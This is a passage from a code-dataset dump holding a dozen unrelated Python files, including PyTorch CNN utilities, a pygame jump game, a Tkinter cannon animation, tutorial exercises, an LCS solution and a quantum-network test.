_init_walker_actions(self, n_walkers):\n \"\"\"\n\n Parameters\n ----------\n n_walkers :\n \n\n Returns\n -------\n\n \"\"\"\n # determine resampling actions\n walker_actions = [self.decision.record(enum_value=self.decision.ENUM.NOTHING.value,\n target_idxs=(i,))\n for i in range(n_walkers)]\n\n return walker_actions\n\n\n def assign_clones(self, merge_groups, walker_clone_nums):\n \"\"\"\n\n Parameters\n ----------\n merge_groups :\n \n walker_clone_nums :\n \n\n Returns\n -------\n\n \"\"\"\n\n n_walkers = len(walker_clone_nums)\n\n walker_actions = self._init_walker_actions(n_walkers)\n\n # keep track of which slots will be free due to squashing\n free_slots = []\n\n # go through the merge groups and write the records for them,\n # the index of a merge group determines the KEEP_MERGE walker\n # and the indices in the merge group are the walkers that will\n # be squashed\n for walker_idx, merge_group in enumerate(merge_groups):\n\n if len(merge_group) > 0:\n # add the squashed walker idxs to the list of open\n # slots\n free_slots.extend(merge_group)\n\n # for each squashed walker write a record and save it\n # in the walker actions\n for squash_idx in merge_group:\n walker_actions[squash_idx] = self.decision.record(self.decision.ENUM.SQUASH.value,\n (walker_idx,))\n\n # make the record for the keep merge walker\n walker_actions[walker_idx] = self.decision.record(self.decision.ENUM.KEEP_MERGE.value,\n (walker_idx,))\n\n # for each walker, if it is to be cloned assign open slots for it\n for walker_idx, num_clones in enumerate(walker_clone_nums):\n\n if num_clones > 0 and len(merge_groups[walker_idx]) > 0:\n raise ResamplerError(\"Error! cloning and merging occuring with the same walker\")\n\n # if this walker is to be cloned do so and consume the free\n # slot\n if num_clones > 0:\n\n # we first check to see if there are any free \"slots\"\n # for cloned walkers to go. If there are not we can\n # make room. The number of extra slots needed should\n # be default 0\n\n\n # we choose the targets for this cloning, we start\n # with the walker initiating the cloning\n clone_targets = [walker_idx]\n\n # if there are any free slots, then we use those first\n if len(free_slots) > 0:\n clone_targets.extend([free_slots.pop() for clone in range(num_clones)])\n\n # if there are more slots needed then we will have to\n # create them\n num_slots_needed = num_clones - len(clone_targets)\n if num_slots_needed > 0:\n\n # initialize the lists of open slots\n new_slots = []\n\n # and make a list of the new slots\n new_slots = [n_walkers + i for i in range(num_slots_needed)]\n\n # then increase the number of walkers to match\n n_walkers += num_slots_needed\n\n # then add these to the clone targets\n clone_targets.extend(new_slots)\n\n # make a record for this clone\n walker_actions[walker_idx] = self.decision.record(self.decision.ENUM.CLONE.value,\n tuple(clone_targets))\n\n return walker_actions\n\nclass NoResampler(Resampler):\n \"\"\" \"\"\"\n\n DECISION = NoDecision\n\n def __init__(self):\n self.decision = self.DECISION\n\n\n def resample(self, walkers, **kwargs):\n \"\"\"\n\n Parameters\n ----------\n walkers :\n \n **kwargs :\n \n\n Returns\n -------\n\n \"\"\"\n\n n_walkers = len(walkers)\n\n # the walker actions are all nothings with the same walker\n # index which is the default initialization\n walker_actions = self._init_walker_actions(n_walkers)\n\n # we only have one step so our resampling_records are just the\n # single list of walker actions\n resampling_data = [walker_actions]\n\n # there is no change in state in the resampler so there are no\n # resampler records\n resampler_data = [{}]\n\n return walkers, resampling_data, resampler_data\n","sub_path":"wepy/resampling/resamplers/resampler.py","file_name":"resampler.py","file_ext":"py","file_size_in_byte":19262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"499816505","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jul 5 19:30:32 2020\n\n@author: t1\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport torch\nimport torch.nn as nn\nimport torchvision\nimport torchvision.transforms as transforms\nfrom torch.utils.data import DataLoader\nimport torch.nn.functional as F\n\n# Confusion matrix\nfrom sklearn.metrics import confusion_matrix\nimport itertools\n\ndef plot_confusion_matrix(cm, classes,\n normalize=False,\n title='Confusion matrix',\n cmap=plt.cm.Blues):\n \"\"\"\n This function prints and plots the confusion matrix.\n Normalization can be applied by setting `normalize=True`.\n \"\"\"\n if normalize:\n cm = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis]\n print(\"Normalized confusion matrix\")\n else:\n print('Confusion matrix, without normalization')\n\n print(cm)\n\n plt.imshow(cm, interpolation='nearest', cmap=cmap)\n plt.title(title)\n plt.colorbar()\n tick_marks = np.arange(len(classes))\n plt.xticks(tick_marks, classes, rotation=45)\n plt.yticks(tick_marks, classes)\n\n fmt = '.2f' if normalize else 'd'\n thresh = cm.max() / 2.\n for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):\n plt.text(j, i, format(cm[i, j], fmt),\n horizontalalignment=\"center\",\n color=\"white\" if cm[i, j] > thresh else \"black\")\n\n plt.tight_layout()\n plt.ylabel('True label')\n plt.xlabel('Predicted label')\n plt.show()\n\ndef get_mnist_data(training=True,batch_size=128,shuffle = True):\n dataset = torchvision.datasets.MNIST(\n root = '../data',\n train = training,\n transform = transforms.ToTensor(),\n download = True\n )\n print('loading dataset : ','training' if training else 'test')\n print('dataset shape : ',dataset.data.shape , 'targets : ',dataset.targets.shape)\n data_loader = DataLoader(\n dataset = dataset,\n batch_size = batch_size,\n shuffle = shuffle\n )\n return data_loader\n\n\ndef get_fashion_mnist_data(training=True,batch_size=128,shuffle = True):\n dataset = torchvision.datasets.FashionMNIST(\n root = '../data',\n train = training,\n transform = transforms.ToTensor(),\n download = True\n )\n print('loading dataset : ','training' if training else 'test')\n print('dataset shape : ',dataset.data.shape , 'targets : ',dataset.targets.shape)\n data_loader = DataLoader(\n dataset = dataset,\n batch_size = batch_size,\n shuffle = shuffle\n )\n return data_loader\n\ndef get_cifar10_data(training=True,batch_size=128,shuffle = True,trms = None):\n \n dataset = torchvision.datasets.CIFAR10(\n root = '../data',\n train = training,\n transform = transforms.ToTensor() if not trms else trms,\n download = True\n )\n print('loading dataset : ','training' if training else 'test')\n # print('dataset shape : ',dataset.data.shape , 'targets : ',dataset.targets.shape)\n data_loader = DataLoader(\n dataset = dataset,\n batch_size = batch_size,\n shuffle = shuffle\n )\n return data_loader\n\n# class CNN2(nn.Module):\n# def __init__(self,NUM_CLASSES):\n# super(CNN2,self).__init__()\n# self.conv1 = nn.Conv2d(in_channels = 3,out_channels = 32, kernel_size = 3,stride = 2)\n# self.bn1 = nn.BatchNorm2d(32)\n# self.conv2 = nn.Conv2d(in_channels = 32,out_channels = 64, kernel_size = 3,stride = 2)\n# self.bn2 = nn.BatchNorm2d(64)\n# self.conv3 = nn.Conv2d(in_channels = 64,out_channels = 128, kernel_size = 3,stride = 2)\n# self.bn3 = nn.BatchNorm2d(128)\n \n# self.fc1 = nn.Linear(128*3*3,512)\n# self.fc2 = nn.Linear(512,NUM_CLASSES)\n \n# def forward(self,X):\n# X = F.relu(self.bn1(self.conv1(X)))\n# X = F.relu(self.bn2(self.conv2(X)))\n# X = F.relu(self.bn3(self.conv3(X)))\n# X = X.view(-1,128*3*3)\n# X = F.dropout(X,p=0.5)\n# X = F.relu(self.fc1(X))\n# X = F.dropout(X,p=0.5)\n# X = self.fc2(X)\n# return X\n\nclass CNN(nn.Module):\n def __init__(self,INPUT_CHANNELS,NUM_CLASSES):\n super(CNN,self).__init__()\n \n ## conv_block 1 output size : 32 x 16 x 16\n self.conv_block1 = nn.Sequential(\n nn.Conv2d(in_channels = INPUT_CHANNELS, out_channels = 32, kernel_size = 3, padding=1),\n nn.ReLU(),\n nn.BatchNorm2d(32),\n nn.Conv2d(in_channels = 32, out_channels = 32, kernel_size = 3,padding = 1),\n nn.ReLU(),\n nn.BatchNorm2d(32),\n nn.MaxPool2d(2)\n )\n \n ## conv block2 output size : 64 x 8 x 8\n self.conv_block2 = nn.Sequential(\n nn.Conv2d(in_channels = 32, out_channels = 64, kernel_size = 3, padding=1),\n nn.ReLU(),\n nn.BatchNorm2d(64),\n nn.Conv2d(in_channels = 64, out_channels = 64, kernel_size = 3,padding = 1),\n nn.ReLU(),\n nn.BatchNorm2d(64),\n nn.MaxPool2d(2)\n )\n \n ## conv block2 output size : 128 x 4 x 4\n self.conv_block3 = nn.Sequential(\n nn.Conv2d(in_channels = 64, out_channels = 128, kernel_size = 3, padding=1),\n nn.ReLU(),\n nn.BatchNorm2d(128),\n nn.Conv2d(in_channels = 128, out_channels = 128, kernel_size = 3,padding = 1),\n nn.ReLU(),\n nn.BatchNorm2d(128),\n nn.MaxPool2d(2)\n )\n \n self.dropout1 = nn.Dropout(p=0.5)\n self.fc1 = nn.Linear(128*4*4,512)\n self.dropout2 = nn.Dropout(p=0.5)\n self.fc2 = nn.Linear(512,10)\n \n def forward(self,X):\n out = self.conv_block1(X)\n out = self.conv_block2(out)\n out = self.conv_block3(out)\n out = out.view(out.size(0),-1)\n out = self.dropout1(out)\n out = self.fc1(out)\n out = F.relu(out)\n out = self.dropout2(out)\n out = self.fc2(out)\n return out\n \n\n# class CNN(nn.Module):\n# def __init__(self,NUM_CLASSES):\n# super(CNN,self).__init__()\n# self.conv_layers = nn.Sequential(\n# nn.Conv2d(in_channels = 1, out_channels = 32, kernel_size = 3 ,stride = 2),\n# nn.ReLU(),\n# nn.Conv2d(in_channels = 32, out_channels = 64, kernel_size = 3 , stride = 2),\n# nn.ReLU(),\n# nn.Conv2d(in_channels = 64, out_channels = 128, kernel_size = 3 , stride = 2),\n# nn.ReLU()\n# )\n \n# self.dense_layers = nn.Sequential(\n# nn.Dropout(0.2),\n# nn.Linear(in_features = 2*2*128, out_features = 512),\n# nn.ReLU(),\n# nn.Dropout(0.2),\n# nn.Linear(512,NUM_CLASSES)\n# )\n \n# def forward(self,X):\n# out = self.conv_layers(X)\n# out = out.view(out.size(0),-1)\n# out = self.dense_layers(out)\n# return out\n \n","sub_path":"pytorch/basic_cnn/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":7000,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"606854299","text":"#Functions can be called with keyword arguments of the form kwarg = value.\n\n\ndef parrot(voltage, state= 'a stiff', action = 'voom', type= 'Norweigan Blue'):\n print(\"this parrot wouldn't\",action, end='')#The end value is'\\n' by default\n print(\"if you put\", voltage, \"volts through it.\")\n print(\"-- Lovely plumage, the\", type)\n print(\"-- It's\", state, \"!\")\n\n\nparrot(1000) #1 positional argument\nparrot(voltage=1000) # 1 keyword argument\nparrot(voltage=100000, action = 'VOOOOOOOM') # 2 keyword arguments\nparrot(action='VOOOOOM', voltage=1000000) # 2 keyword arguments\nparrot('a million', 'bereft of life', 'jump') # 3 positional arguments\nparrot('a thousand', state='pushing up the daisies') # 1 positional, 1 keyword\n\n\"\"\"\nparrot() # required argument missing\nparrot(voltage=5.0, 'dead') # non-keyword argument after a keyword argument\nparrot(110, voltage=220) # duplicate value for the same argument\nparrot(actor='John Cleese') # unknown keyword argument\n\"\"\"\n\n\"\"\"\nIn a function call, keyword arguments must follow positional arguments.\n All the keyword arguments passed must match one of the arguments accepted by the function \n (e.g. actor is not a valid argument for the parrot function), and their order is not important. \n This also includes non-optional arguments (e.g. parrot(voltage=1000) is valid too).\n No argument may receive a value more than once. Here’s an example that fails due to this restriction:\n\"\"\"\n","sub_path":"python_official_tutorial/chap4_7/chap4_7_2.py","file_name":"chap4_7_2.py","file_ext":"py","file_size_in_byte":1483,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"180915926","text":"from pygame import *\nfrom gamedev.colors import c\nfrom gamedev.game import RPG\nfrom math import sin\nfrom random import randint\n\ng = RPG(600, 400, \"The Impossible Game\") # create game object\n\ng.sprites = {} # create sprites\ng.sounds = {} # create sounds\n\ng.loadResources() # load all of the sounds and sprites\n\ng.event.onexit = g.stop # event handler for stopping the game\n\ny = g.h - 64\ndy = y\ngravity = 0.8\nyVel = 0\nisJumping = False\ncourse = []\nduck = 0\nscore = 0\n\npause = False\n\nwhile not g.done:\n g.clrscrn() # clear the screen\n\n g.drawText(str(int(score/10))+\"m\",20,20)\n\n if g.keyDown(K_UP) and y==dy and not pause:\n yVel = -15\n isJumping = True\n duck = [0,32][g.keyDown(K_DOWN) and not pause]\n g.drawRect(100, y+duck, 32, 64-duck, c[\"blue\"])\n if not pause and isJumping:\n yVel += gravity\n y += yVel\n if y > dy:\n y = dy\n yVel = 0\n isJumping = False\n\n for o in course:\n g.drawRect(o[0],dy+o[1],10,10,c[\"red\"])\n if not pause:\n o[0]-=5\n if g.boxCollides([110,y+duck,32,64-duck],[o[0],dy+o[1],10,10]):\n pause = True\n if o[0]<=0:\n course.remove(o)\n\n try:\n if not pause and randint(0,60)==0:\n course.append([g.w,[32,2][randint(0,1)]])\n except:\n d=0\n\n g.tick() # tick forward on the clock, update the screen, handle events, etc.\n\n if not pause: score += 1\n\ng.close() # close window\n","sub_path":"RollJump/rolljump.py","file_name":"rolljump.py","file_ext":"py","file_size_in_byte":1490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"520327456","text":"import numpy as np\nfrom numpy import pi\n\nfrom matplotlib.cm import winter\nimport matplotlib.pyplot as plt\n\n\n# Вот тут должны быть нужные тебе массивы. (Если они одномерные)\nx0 = np.linspace(0,200,200)\ny0 = x0\n\n# Тут эти массивы превращаются в сетку\nx, y = np.meshgrid(x0, y0)\n\n# Вот тут твой двумерный массив\nz = np.sin(x)**2\n\n\n\nfig,ax = plt.subplots(nrows = 1, ncols = 1)\nplt.contourf(x,y,z,levels=100,cmap=winter)\nplt.colorbar()\nplt.ylabel(r'$Y$, м',fontsize=16)\nplt.xlabel(r'$X$, м',fontsize=16)\n\nplt.show()\n","sub_path":"project/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"503198842","text":"# 9251번. LCS\n\n\nimport sys\ninput = sys.stdin.readline\n\n# LCS 참조\n# http://melonicedlatte.com/algorithm/2018/03/15/181550.html\n\na = list(input().rstrip())\nb = list(input().rstrip())\ndp = [[0 for i in range(len(a)+1)] for i in range(len(b)+1)]\n\nfor i in range(1, len(b)+1):\n for j in range(1, len(a)+1):\n if b[i-1] == a[j-1]:\n # 현재 위치의 값 = 왼쪽 대각선 값 + 1\n dp[i][j] = dp[i-1][j-1]+1\n else:\n # 현재 위치의 값 = max(왼쪽 값, 위쪽 값)\n dp[i][j] = max(dp[i-1][j], dp[i][j-1])\n\n# 맨 마지막 dp가 최대\nprint(dp[-1][-1])\n","sub_path":"BOJ/3.gold/gold5/9251_LCS.py","file_name":"9251_LCS.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"288483462","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Oct 7 18:49:46 2018\n\n@author: 2014_Joon_IBS\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nimport glob\nimport os\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as mpatches\nfrom scipy import stats\nimport matplotlib.pyplot as plt\n\n#os.chdir('e:')\n#path='/0Temp_data/20180911_OFL_after_tube_n3_batch1/'\n#os.chdir(path)\n\n#name = 'freeze_20180911_OFL_after_tube_n3_batch1'\nbar_width = .5\n\nparams = {\n 'axes.labelsize': 8,\n 'font.size': 18,\n 'legend.fontsize': 10,\n 'legend.frameon':False,\n 'xtick.labelsize': 10,\n 'ytick.labelsize': 10,\n 'text.usetex': False,\n 'figure.figsize': [4, 6] # instead of 4.5, 4.5\n }\n\nplt.rcParams.update(params)\n\n\ndef color_setting(n_color=2):\n sns.set_style('whitegrid')\n sns.set_color_codes()\n \n ###### customize color palette\n flatui = [\"#9b59b6\", \"#3498db\", \"#95a5a6\", \"#e74c3c\", \"#34495e\", \"#2ecc71\"]\n beach_towel = ['#fe4a49', '#2ab7ca', '#fed766', '#e6e6ea', '#f4f4f8']\n pastel_rainbow = ['#a8e6cf','#dcedc1','#ffd3b6','#ffaaa5', '#ff8b94']\n \n list_palette = [flatui,\n beach_towel,\n pastel_rainbow] \n \n if n_color <=3: # color 종류 별로 안써도 되는 경우\n for i, i_p in enumerate(list_palette):\n list_palette[i] = i_p[::2] #홀수 값만 취함. \n \n #### \n sns.set_palette('hls',n_color) # Reds\n sns.set_palette(list_palette[2], n_color)\n current_palette = sns.color_palette()\n #sns.palplot(current_palette)\n ###\n sns.set_context('poster', font_scale=0.8)\n return current_palette\n\ndef legend_patch(current_palette, labels):\n patches = []\n for i, _ in enumerate(labels):\n patch_i = mpatches.Patch(color=current_palette[i], label=labels[i])\n patches.append(patch_i)\n return patches\n\ndef plot_time_series(data):\n columns = []\n ofl_bin = 9\n columns = np.arange(ofl_bin)+1\n \n #test = pd.DataFrame(data = data, columns=columns)\n \n fig2, ax2 = plt.subplots()#figsize=(10,4))\n sns.set_style('ticks',rc = {\"lines.linewidth\":0.1,\"xtick.major.size\": 0.1, \"ytick.major.size\": 1})\n g = sns.catplot(\n #palette={\"male\": \"g\", \"female\": \"m\"},\n markers=[\"^\"], linestyles=[\"-\"],linewidth=0.1,\n kind=\"point\", data=data, ci=68, ax=ax2, aspect=0.5, scale=0.5)\n \n ax2.set(title = 'OFL',\n ylabel='freezing(%)',\n xlabel='(min)',\n ylim=[0,20])\n \n ax2.spines['top'].set_visible(False)\n ax2.spines['right'].set_visible(False)\n \n for l in g.ax.lines:\n print(l.get_linewidth())\n plt.setp(l,linewidth=5)\n \ndef plot_bar_scatter(data, p, current_palette, labels):\n \n patches = legend_patch(current_palette, labels) # to add legend\n \n fig, ax = plt.subplots( figsize=(5,5))\n \n sns.barplot(data=data, ci=68, errwidth = 2, capsize=.05, ax= ax)\n sns.stripplot(data=data, jitter=True, size= 7, \n edgecolor = 'gray', linewidth=1, ax=ax)#,color=\"0.4\")\n ax.grid(False)\n \n ax.set(title = 'Social rank vs OFL',\n ylabel='avg OFL (%)',\n #xlabel='trial',\n ylim=[0,30])\n \n ax.legend(handles = patches, loc='best', edgecolor =None, fontsize=13, bbox_to_anchor=(0.7,0.7)) # upper right\n #ax.axis('equal')\n \n ax.spines['top'].set_visible(False)\n ax.spines['right'].set_visible(False)\n \n change_width(ax, bar_width) # bar_width\n add_star(ax, p, df)\n \n fig.tight_layout()\n fig.savefig('test.png', transparent = True, dpi=300)\n\n\ndef stars(p):\n if p < 0.0001:\n return \"****\"\n elif (p < 0.001):\n return \"***\"\n elif (p < 0.01):\n return \"**\"\n elif (p < 0.05):\n return \"*\"\n else:\n return \"-\"\n\ndef t_test(x,y):\n # normality test. p>0.05 means fail\n _, p_x = stats.shapiro(x)\n _, p_y = stats.shapiro(y)\n # equal variance test. p <=0.05 means fail\n _, p_var = stats.levene(x,y) \n \n if (p_x or p_y > 0.05) or p_var <=0.05 : # normality fail\n print('Non-parametric test is needed. MannWhitney U test.\\n')\n statistic, p_final = stats.mannwhitneyu(x,y, alternative='two-sided')\n else:\n print('T-test\\n')\n statistic, p_final = stats.ttest_ind(x,y)\n \n print('Result. Statistic: {}\\n p-value: {}'.format(statistic, p_final))\n return statistic, p_final\n \ndef data_vec(data): # convert Pandas dataframe into vectors\n n_category = len(data.keys())\n d_list = [0 for i in range(n_category)]\n legend=[]\n for i, i_key in enumerate(data.keys()):\n d_list[i] = np.array(data[i_key])\n d_list[i] = d_list[i][np.isnan(d_list[i])==False] # remove NaN\n print('n = {}'.format(len(d_list[i])))\n legend.append(i_key + ' \\n(n={})'.format(len(d_list[i])))\n return d_list, legend\n\ndef data_ofl_read(path):\n csv_file = glob.glob(path+'*.csv')[0]\n print(csv_file)\n df = pd.read_csv(csv_file)\n\n # OFL time bin 만큼 추출\n time_bin = 9\n df = df.iloc[:, 0:time_bin+1]\n \n # pandas 로 csv read 시, 기본 key 탐색 (첫번째 row)\n key_subject = df.keys()[0]\n \n obs = df[df[key_subject].str.contains(\"dem|Onset|Duration\")==False] # dem, onset, duration 중 하나라도 포함되어 있으면 제외 -> obs 데이터만 추출 가능\n dem = df[df[key_subject].str.contains(\"dem\")==True] # dem data\n return obs, dem \n\ndef add_star(ax, p_value, df):\n \n y_max = np.max(np.array(df.max()))\n y_min = np.min(np.array(df.min()))\n s = stars(p_value)\n print(s)\n ax.annotate(\"\", xy=(0, y_max), xycoords='data',\n xytext=(1, y_max), textcoords='data',\n arrowprops=dict(arrowstyle=\"-\", ec='black',#'#aaaaaa',\n connectionstyle=\"bar,fraction=0.2\"))\n \n # fig size 5 -> \n p = 'p = {:.2f}'.format(p_value)\n ax.text(0.5, y_max + abs(y_max - y_min)*0.3, s,\n horizontalalignment='center',\n verticalalignment='center')\n \n ax.text(0.5, y_max + abs(y_max - y_min)*0.05, p,\n horizontalalignment='center',\n verticalalignment='center')\n\ndef change_width(ax, new_value):\n for patch in ax.patches :\n current_width = patch.get_width()\n diff = current_width - new_value\n\n # we change the bar width\n patch.set_width(new_value)\n\n # we recenter the bar\n patch.set_x(patch.get_x() + diff * .5)\n\n\nif __name__ == '__main__':\n name = '/python/data/dom_sub.xlsx'\n df = pd.read_excel(name)\n #obs, dem = data_ofl_read()\n \n current_palette = color_setting(2) # 2 종류 plot 준비\n \n ## Statistics. T-test \n d_list, legend = data_vec(df)\n x = d_list[0]\n y = d_list[1]\n \n _, p = t_test(x,y)\n \n plot_bar_scatter(df, p, current_palette, legend) # bar scatter plot\n \n path_ofl = '/python/data/ofl/'\n obs, dem = data_ofl_read(path_ofl)\n plot_time_series(obs)\n #obs.rename(lambda x: x[1:], axis='columns')\n obs.set_axis(['a', 'b', 'c', 'd', 'e'], axis='columns', inplace=False)\n \n \n \n \n \n\n \n","sub_path":"py/csv_data_process.py","file_name":"csv_data_process.py","file_ext":"py","file_size_in_byte":7170,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"594987156","text":"import unittest\n\nfrom simulaqron.network import Network\nfrom simulaqron.settings import Settings\nfrom cqc.pythonLib import CQCConnection, qubit, CQCUnsuppError\n\n\nclass TestDefaultTopology(unittest.TestCase):\n @classmethod\n def setUpClass(cls):\n Settings.default_settings()\n cls.node_names = [\"Alice\", \"Bob\", \"Charlie\"]\n cls.network = Network(cls.node_names)\n cls.network.start()\n\n @classmethod\n def tearDownClass(cls):\n cls.network.stop()\n Settings.default_settings()\n\n def test_send(self):\n for sender_name in self.node_names:\n for receiver_name in self.node_names:\n with CQCConnection(sender_name) as sender:\n with CQCConnection(receiver_name) as receiver:\n q = qubit(sender)\n if sender_name == receiver_name:\n with self.assertRaises(CQCUnsuppError):\n sender.sendQubit(q=q, name=receiver_name, remote_appID=receiver._appID)\n else:\n sender.sendQubit(q=q, name=receiver_name, remote_appID=receiver._appID)\n q = receiver.recvQubit()\n m = q.measure()\n self.assertEqual(m, 0)\n\n def test_EPR(self):\n for sender_name in self.node_names:\n for receiver_name in self.node_names:\n with CQCConnection(sender_name) as sender:\n with CQCConnection(receiver_name) as receiver:\n if sender_name == receiver_name:\n with self.assertRaises(CQCUnsuppError):\n sender.createEPR(name=receiver_name, remote_appID=receiver._appID)\n else:\n qs = sender.createEPR(name=receiver_name, remote_appID=receiver._appID)\n qr = receiver.recvEPR()\n ms = qs.measure()\n mr = qr.measure()\n self.assertEqual((ms + mr) % 2, 0)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"tests/auto/quick/network_topology/test_default_topology.py","file_name":"test_default_topology.py","file_ext":"py","file_size_in_byte":2164,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"206664489","text":"from string import lower\nfrom models.CitiesCountiesDB import CountiesDB\n\n\nclass LinkedinLocation:\n\n def __init__(self):\n self._cdb = CountiesDB()\n\n def getCounty(self, locationStr):\n l = self._splitLocationString(locationStr)\n if len(l) == 2:\n city, county = l[0], l[1]\n foundCounty1 = self._cdb.getCityCounty(city)\n foundCounty2 = self._cdb.getCountyByName(county)\n elif len(l) == 1:\n cityOrCounty = l[0]\n foundCounty1 = self._cdb.getCityCounty(cityOrCounty)\n foundCounty2 = self._cdb.getCountyByName(cityOrCounty)\n else:\n return None\n\n if foundCounty1 is not None:\n return foundCounty1\n elif foundCounty2 is not None :\n return foundCounty2\n else:\n return None\n\n\n\n def _splitLocationString(self, locationStr):\n return filter(lambda i : not self._strAreEqual(i, \"United Kingdom\"),\n locationStr.split(\", \"))\n\n def _strAreEqual(self, a, b):\n return str.lower(str(a)) == str.lower(str(b))\n\n\n\n","sub_path":"classifiers/Location.py","file_name":"Location.py","file_ext":"py","file_size_in_byte":990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"2964994","text":"# -*- coding:Latin-1 -*-\n\nfrom Tkinter import *\nfrom math import pi, sin, cos\n\nclass Canon:\n \"\"\"Petit canon graphique\"\"\"\n def __init__(self, boss, x, y, angle=25):\n self.boss = boss # référence du canevas\n self.x1, self.y1 = x, y # axe de rotation du canon\n # dessiner la buse du canon, à l'horizontale pour commencer :\n self.lbu = 50 # longueur de la buse\n self.x2, self.y2 = x + self.lbu, y\n self.buse = boss.create_line(self.x1, self.y1, self.x2, self.y2,\n width =10)\n # dessiner ensuite le corps du canon par-dessus :\n r = 15 # rayon du cercle \n boss.create_oval(x-r, y-r, x+r, y+r, fill='blue', width =3)\n # dessiner un obus (réduit à un simple point, avant animation) :\n self.obus =boss.create_oval(x, y, x, y, fill='red')\n self.anim =False # interrupteur d'animation\n # retrouver la largeur et la hauteur du canevas :\n self.xMax =int(boss.cget('width'))\n self.yMax =int(boss.cget('height'))\n \n def orienter(self, angle):\n \"choisir l'angle de tir du canon\"\n # rem : le paramètre est reçu en tant que chaîne de car.\n # il faut le traduire en nombre réel, puis convertir en radians :\n self.angle = float(angle)*2*pi/360 \n self.x2 = self.x1 + self.lbu*cos(self.angle)\n self.y2 = self.y1 - self.lbu*sin(self.angle)\n self.boss.coords(self.buse, self.x1, self.y1, self.x2, self.y2)\n \n def feu(self):\n \"déclencher le tir d'un obus\"\n if not self.anim:\n self.anim =True\n # position de départ de l'obus (c'est la bouche du canon) :\n self.boss.coords(self.obus, self.x2 -3, self.y2 -3,\n self.x2 +3, self.y2 +3)\n v =15 # vitesse initiale\n # composantes verticale et horizontale de cette vitesse :\n self.vy = -v *sin(self.angle)\n self.vx = v *cos(self.angle)\n self.animer_obus()\n \n def animer_obus(self):\n \"animation de l'obus (trajectoire balistique)\"\n if self.anim:\n self.boss.move(self.obus, int(self.vx), int(self.vy))\n c = self.boss.coords(self.obus) # coord. résultantes\n xo, yo = c[0] +3, c[1] +3 # coord. du centre de l'obus\n if yo > self.yMax or xo > self.xMax:\n self.anim =False # arrêter l'animation\n self.vy += .5\n self.boss.after(30, self.animer_obus)\n \nif __name__ == '__main__':\n # Code pour tester sommairement la classe Canon : \n f = Tk()\n can = Canvas(f,width =250, height =250, bg ='ivory')\n can.pack(padx =10, pady =10)\n c1 = Canon(can, 50, 200)\n\n s1 =Scale(f, label='hausse', from_=90, to=0, command=c1.orienter)\n s1.pack(side=LEFT, pady =5, padx =20)\n s1.set(25) # angle de tir initial\n\n Button(f, text='Feu !', command =c1.feu).pack(side=LEFT)\n\n f.mainloop()\n","sub_path":"python/oreilly/cours_python/chap15/canon02.py","file_name":"canon02.py","file_ext":"py","file_size_in_byte":3116,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"478637258","text":"def add(a, b):\n print(f\"ADDING {a} + {b}\")\n return a + b\n\ndef subtract(a, b):\n print(f\"SUBTRACTING {a} - {b}\")\n return a - b\n\ndef multiply(a, b):\n print(f\"MULTIPLYING {a} * {b}\")\n return a * b\n\ndef divide(a, b):\n print(f\"DIVIDING {a} / {b}\")\n return a / b\n\nprint(\"Let's do some math with just functions:\")\n\nage = add(30, 5) # 35\nheight = subtract(78, 4) # 74\nweight = multiply(90, 2) # 180\niq = divide(100, 2) # 50\n\nprint(\"Age: {}, Height: {}, Weight: {}, IQ: {}\".format(age, height, weight, iq))\n\n# A puzzle for the extra credit, type it in anyway.\nprint(\"Here is a puzzle.\")\n\n# what = add(35, subtract(74, multiply(180, divide(50, 2))))\n# what = add(35, subtract(74, multiply(180, 25.0)))\n# what = add(35, subtract(74, 4500.0))\n# what = add(35, -4426.0)\n# what = -4391.0\n# what = 35 + (74 - (180 * (50 / 2)))\n# what = 35 + 74 - 180 * 50 / 2\nwhat = add(age, subtract(height, multiply(weight, divide(iq, 2))))\n\nprint(\"That becomes: {} Can you do it by hand?\".format(what))\n","sub_path":"pythonhardway/ex21.py","file_name":"ex21.py","file_ext":"py","file_size_in_byte":997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"276711048","text":"def reverse(head):\n\n # Reverse the linked list in place\n if head:\n onebehind = None\n twobehind = None\n while head.next:\n twobehind = onebehind\n onebehind = head\n head = head.next\n onebehind.next = twobehind\n head.next = onebehind\n\n return head\n\n# Tests\n\nclass LinkedListNode(object):\n\n def __init__(self, value, next=None):\n self.value = value\n self.next = next\n\n def get_values(self):\n node = self\n values = []\n while node is not None:\n values.append(node.value)\n node = node.next\n return values\n\ndef test_short_linked_list():\n second = LinkedListNode(2)\n first = LinkedListNode(1, second)\n\n result = reverse(first)\n print(result is not None)\n\n actual = result.get_values()\n expected = [2, 1]\n print(actual == expected)\n\ndef test_long_linked_list():\n sixth = LinkedListNode(6)\n fifth = LinkedListNode(5, sixth)\n fourth = LinkedListNode(4, fifth)\n third = LinkedListNode(3, fourth)\n second = LinkedListNode(2, third)\n first = LinkedListNode(1, second)\n\n result = reverse(first)\n print(result is not None)\n\n actual = result.get_values()\n expected = [6, 5, 4, 